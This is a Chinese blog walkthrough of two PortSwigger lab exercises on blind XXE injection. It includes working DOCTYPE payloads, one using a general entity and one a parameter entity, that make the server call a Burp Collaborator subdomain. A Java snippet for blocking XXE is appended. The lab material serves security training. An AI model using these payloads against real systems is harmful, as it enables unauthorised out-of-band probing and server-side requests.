Lab: Blind XXE with out-of-band interaction | Lab: Blind XXE with out-of-band interaction via XML pa...

什么是盲XXE?

当应用程序容易受到XXE 注入但不返回其响应中任何定义的外部实体的值时,就会出现盲 XXE 漏洞。这意味着直接检索服务器端文件是不可能的,因此盲 XXE 通常比常规 XXE 漏洞更难被利用。

有两种广泛的方法可以找到和利用盲 XXE 漏洞:

您可以触发带外网络交互,有时会在交互数据中泄露敏感数据。
您可以通过错误消息包含敏感数据的方式触发 XML 解析错误。

使用带外 ( OAST ) 技术检测盲 XXE

您通常可以使用与XXE SSRF 攻击相同的技术检测盲 XXE,但会触发与您控制的系统的带外网络交互。例如,您可以按如下方式定义外部实体:

]>

然后,您将在 XML 内的数据值中使用定义的实体。

此 XXE 攻击会导致服务器向指定的 URL 发出后端 HTTP 请求。攻击者可以监控由此产生的 DNS 查找和 HTTP 请求,从而检测到 XXE 攻击是否成功。

有时,由于应用程序的某些输入验证或正在使用的 XML 解析器的某些强化,使用常规实体的 XXE 攻击会被阻止。在这种情况下,您或许可以改用 XML 参数实体。XML 参数实体是一种特殊的 XML 实体,只能在 DTD 中的其他地方引用。就目前而言,您只需要知道两件事。首先,XML 参数实体的声明包括实体名称前的百分比字符:

其次,使用百分比字符而不是通常的与号来引用参数实体:

%myparameterentity;

这意味着您可以通过 XML 参数实体使用带外检测来测试盲 XXE,如下所示:

%xxe; ]>

这个 XXE 负载声明了一个被调用的 XML 参数实体xxe,然后在 DTD 中使用该实体。这将导致对攻击者的域进行 DNS 查找和 HTTP 请求,从而验证攻击是否成功。

靶场1

该实验室具有“检查股票”功能,可解析 XML 输入但不显示结果。

您可以通过触发与外部域的带外交互来检测盲 XXE漏洞。

为了解决实验室问题,使用外部实体使 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

解决方案

  • 访问产品页面,单击“检查库存”并拦截Burp Suite Professional 中生成的 POST 请求。
  • 转到 Burp 菜单,然后启动Burp Collaborator 客户端。
  • 单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
  • 在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:
  • <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
  • 将productId数字替换为对外部实体的引用:&xxe;
  • 返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。image

靶场2

该实验室具有“检查库存”功能,可解析 XML 输入,但不显示任何意外值,并阻止包含常规外部实体的请求。

为了解决实验室问题,使用参数实体让 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

笔记
为了防止 Academy 平台被用来攻击第三方,我们的防火墙会阻止实验室与任意外部系统之间的交互。要解决实验室,您必须使用 Burp Collaborator 的默认公共服务器 ( burpcollaborator.net)。

解决方案

  • 访问产品页面,单击“检查库存”并拦截Burp Suite Professional 中生成的 POST 请求。
  • 转到 Burp 菜单,然后启动Burp Collaborator 客户端。
  • 单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
  • 在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:
  • <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>
  • 返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
是的,设置 `reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);` 可以防止 XXEXML External Entity)攻击。 XXE攻击是一种利用XML解析器的漏洞,通过在XML文档中插入恶意实体引用或外部实体引用,攻击者可以读取敏感文件、执行远程代码等。通过禁用DTD(Document Type Definition)处理,可以有效地防止XXE攻击。 在Java中,使用 `javax.xml.parsers.DocumentBuilderFactory` 来创建XML解析器,然后使用 `javax.xml.parsers.DocumentBuilder` 来解析XML文档。要防止XXE攻击,可以在创建 `DocumentBuilderFactory` 对象后设置相应的特性。 以下是一个示例代码片段,展示了如何设置防止XXE攻击的特性: ```java import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; public class Main { public static void main(String[] args) { try { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); DocumentBuilder builder = factory.newDocumentBuilder(); // 继续处理你的XML文档... } catch (Exception e) { e.printStackTrace(); } } } ``` 通过设置上述特性,XML解析器将拒绝处理DTD声明,从而有效地防止了XXE攻击。 请注意,在实际开发中,除了禁用DTD处理,还应该采取其他安全措施,如输入验证、使用白名单过滤等,以确保应用程序的安全性。 希望这可以回答你的问题。如果还有其他疑问,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zeker62

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值